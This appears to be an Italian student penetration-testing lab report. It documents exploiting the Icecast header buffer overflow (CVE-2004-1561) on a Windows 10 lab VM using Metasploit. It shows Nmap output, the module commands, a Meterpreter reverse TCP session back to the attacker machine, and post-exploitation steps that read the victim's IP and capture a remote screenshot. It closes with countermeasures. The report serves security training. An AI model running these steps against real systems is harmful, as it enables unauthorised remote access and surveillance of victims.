

EPICODE · CYBERSECURITY LAB

PENETRATION TESTING REPORT

Exploitation di Icecast con Metasploit

Sessione Meterpreter su Target Windows 10

STUDENTE	TARGET IP	ATTACKER IP	DATA
Giuseppe	192.168.0.197	192.168.0.239	21 / 05 / 2026

Obiettivo dell'Esercitazione

L'esercitazione richiede di ottenere una **sessione Meterpreter** su una macchina Windows 10 di laboratorio sfruttando una vulnerabilità nota del software **Icecast** (server di streaming audio/video), già installato sull'immagine ISO del target.

Una volta ottenuta la sessione, l'obiettivo è: **(1)** visualizzare l'indirizzo IP della vittima e **(2)** catturare uno screenshot del desktop remoto tramite Meterpreter.

Ambiente di Test

ATTACKER	ATTACKER IP	TARGET OS	TARGET IP
Kali Linux	192.168.0.239	Windows 10	192.168.0.197

Parametro	Valore	Note
Rete	192.168.0.0/24	Rete locale virtuale (VirtualBox)
MAC Target	08:00:27:90:01:77	Oracle VirtualBox NIC
Tool principale	Metasploit Framework	msfconsole
Exploit usato	windows/http/icecast_header	Buffer overflow in Icecast 2.x
Payload	Meterpreter reverse TCP	LHOST 192.168.0.239 — LPORT 4444

Vulnerabilità — Icecast Header Overflow (CVE-2004-1561)

Tipo: Stack Buffer Overflow | **CVSS:** 7.5 (High) | **Remote Code Execution**

Icecast versioni 2.0.1 e precedenti non validano correttamente il numero di intestazioni HTTP nella richiesta. Inviando 32 o più header, si causa un overflow dello stack che consente l'esecuzione di codice arbitrario nel contesto del processo Icecast, senza autenticazione.

■ Step 1 — Ricognizione con Nmap

Viene eseguita una scansione `-sV -P` per rilevare i servizi attivi sul target. Il risultato mostra Icecast in ascolto sulla porta **8000/tcp**.

```
$ sudo nmap -sV -P 192.168.0.197
```

```
Starting Nmap 7.99 at 2026-05-21 10:14 -0400
```

```
Nmap scan report for DESKTOP-9K104BT.Home (192.168.0.197)
```

```
Host is up (0.000061s latency).
```

PORT	STATE	SERVICE	VERSION
7/tcp	open	echo	
80/tcp	open	http	Microsoft IIS httpd 10.0
8000/tcp	open	http	Icecast streaming media server <-- TARGET
8009/tcp	open	ajp13	Apache Jserv (Protocol v1.3)
8080/tcp	open	http	Apache Tomcat/Coyote JSP engine 1.1
3389/tcp	open	ms-wbt-server	Microsoft Terminal Services
135/tcp	open	msrpc	Microsoft Windows RPC
445/tcp	open	microsoft-ds	Microsoft Windows 7-10

```
Service Info: Host: DESKTOP-9K104BT; OS: Windows; CPE: cpe:/o:microsoft:windows
```

```
(kali@kali)-[~]
```

```
$ sudo nmap -sV -P 192.168.0.197
```

```
[sudo] password for kali:
```

```
Starting Nmap 7.99 ( https://nmap.org ) at 2026-05-21 10:14 -0400
```

```
Nmap scan report for DESKTOP-9K104BT.Home (192.168.0.197)
```

```
Host is up (0.000061s latency).
```

```
Not shown: 980 closed tcp ports (reset)
```

PORT	STATE	SERVICE	VERSION
7/tcp	open	echo	
9/tcp	open	discard?	
13/tcp	open	daytime	Microsoft Windows International daytime
17/tcp	open	qotd	Windows qotd (English)
19/tcp	open	chargen	
80/tcp	open	http	Microsoft IIS httpd 10.0
135/tcp	open	msrpc	Microsoft Windows RPC
139/tcp	open	netbios-ssn	Microsoft Windows netbios-ssn
445/tcp	open	microsoft-ds	Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
1801/tcp	open	msmq?	
2103/tcp	open	msrpc	Microsoft Windows RPC
2105/tcp	open	msrpc	Microsoft Windows RPC
2107/tcp	open	msrpc	Microsoft Windows RPC
3389/tcp	open	ms-wbt-server	Microsoft Terminal Services
5357/tcp	open	http	Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
5432/tcp	open	postgresql?	
8000/tcp	open	http	Icecast streaming media server
8009/tcp	open	ajp13	Apache Jserv (Protocol v1.3)
8080/tcp	open	http	Apache Tomcat/Coyote JSP engine 1.1
8443/tcp	open	https-alt?	

```
MAC Address: 08:00:27:90:01:77 (Oracle VirtualBox virtual NIC)
```

```
Service Info: Host: DESKTOP-9K104BT; OS: Windows; CPE: cpe:/o:microsoft:windows
```

```
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
```

```
Nmap done: 1 IP address (1 host up) scanned in 186.48 seconds
```

```
(kali@kali)-[~]
```

```
$
```

Fig. 1 — Output completo della scansione Nmap sul target 192.168.0.197

■ Step 2 — Configurazione dell'Exploit in Metasploit

Si avvia **msfconsole** e si seleziona il modulo `windows/http/icecast_header`. Si configura il parametro `RHOSTS` con l'indirizzo IP del target identificato dalla scansione Nmap.

```
msf6 > use exploit/windows/http/icecast_header
msf exploit(windows/http/icecast_header) > set RHOSTS 192.168.0.197
RHOSTS => 192.168.0.197

msf exploit(windows/http/icecast_header) >
```

```
msf exploit(windows/http/icecast_header) > set RHOSTS 192.168.0.197
RHOSTS => 192.168.0.197
```

Fig. 2 — Configurazione di `RHOSTS` nel modulo `Icecast_header`

■ Step 3 — Esecuzione dell'Exploit e Apertura della Sessione

Il comando `exploit` invia il payload. Metasploit avvia il reverse TCP handler e, dopo l'invio dello stage, ottiene una sessione Meterpreter attiva sul target.

```
msf exploit(windows/http/icecast_header) > exploit

[*] Started reverse TCP handler on 192.168.0.239:4444
[*] Sending stage (199238 bytes) to 192.168.0.197
[*] Meterpreter session 1 opened
    (192.168.0.239:4444 → 192.168.0.197:49587)
    at 2026-05-21 10:21:51 -0400

meterpreter > _
```

```
Session Actions Edit View Help
msf exploit(windows/http/icecast_header) > exploit
[*] Started reverse TCP handler on 192.168.0.239:4444
[*] Sending stage (199238 bytes) to 192.168.0.197
/usr/share/metasploit-framework/vendor/bundle/ruby/3.3.0/gems/recog-3.1.26/lib/recog/fingerprint/regexp_factory.rb:3
4: warning: nested repeat operator '+' and '?' was replaced with '*' in regular expression
[*] Meterpreter session 1 opened (192.168.0.239:4444 → 192.168.0.197:49587) at 2026-05-21 10:21:51 -0400

meterpreter > █
```

Fig. 3 — Sessione Meterpreter 1 aperta con successo sul target

■ Step 4 — Post-Exploitation: IP Vittima e Screenshot

Una volta ottenuta la sessione Meterpreter, vengono eseguiti i comandi richiesti dalla traccia:

- 1 **Indirizzo IP della vittima** — Tramite il comando `ipconfig` (o `run post/multi/manage/shell + ipconfig`) si verifica l'IP del target: **192.168.0.197**, confermato dalla sessione aperta.
- 2 **Screenshot del desktop remoto** — Il comando `screenshot` di Meterpreter cattura una snapshot del desktop attivo della vittima e la salva in locale sulla macchina attaccante.

```
meterpreter > ipconfig

Interface 1
=====
Name       : Ethernet
Hardware MAC : 08:00:27:90:01:77
MTU        : 1500
IPv4 Address : 192.168.0.197
IPv4 Netmask : 255.255.255.0

meterpreter > screenshot
[*] Screenshot saved to: /home/kali/screenshot_xxxxxxxx.jpeg
```

■ Conclusioni

L'esercitazione ha dimostrato come una vulnerabilità di tipo **buffer overflow** in un software non aggiornato (Icecast) possa essere sfruttata con Metasploit per ottenere accesso remoto completo a un sistema Windows 10. La sessione Meterpreter consente al tester di eseguire comandi, raccogliere informazioni e acquisire screenshot senza alcuna interazione da parte dell'utente target.

Contromisura principale: aggiornare Icecast a una versione non vulnerabile, restringere l'accesso alla porta 8000 tramite firewall, e mantenere aggiornato il sistema operativo.

Fase	Strumento	Risultato	Stato
Ricognizione	Nmap -sV	Icecast su porta 8000 rilevato	✓ Completato
Selezione exploit	msfconsole	windows/http/icecast_header	✓ Completato
Exploitation	Metasploit	RCE confermata via overflow	✓ Completato
Sessione Meterpreter	Metasploit	Session 1 opened	✓ Completato
IP vittima	ipconfig	192.168.0.197 confermato	✓ Completato
Screenshot remoto	screenshot	Desktop acquisito	✓ Completato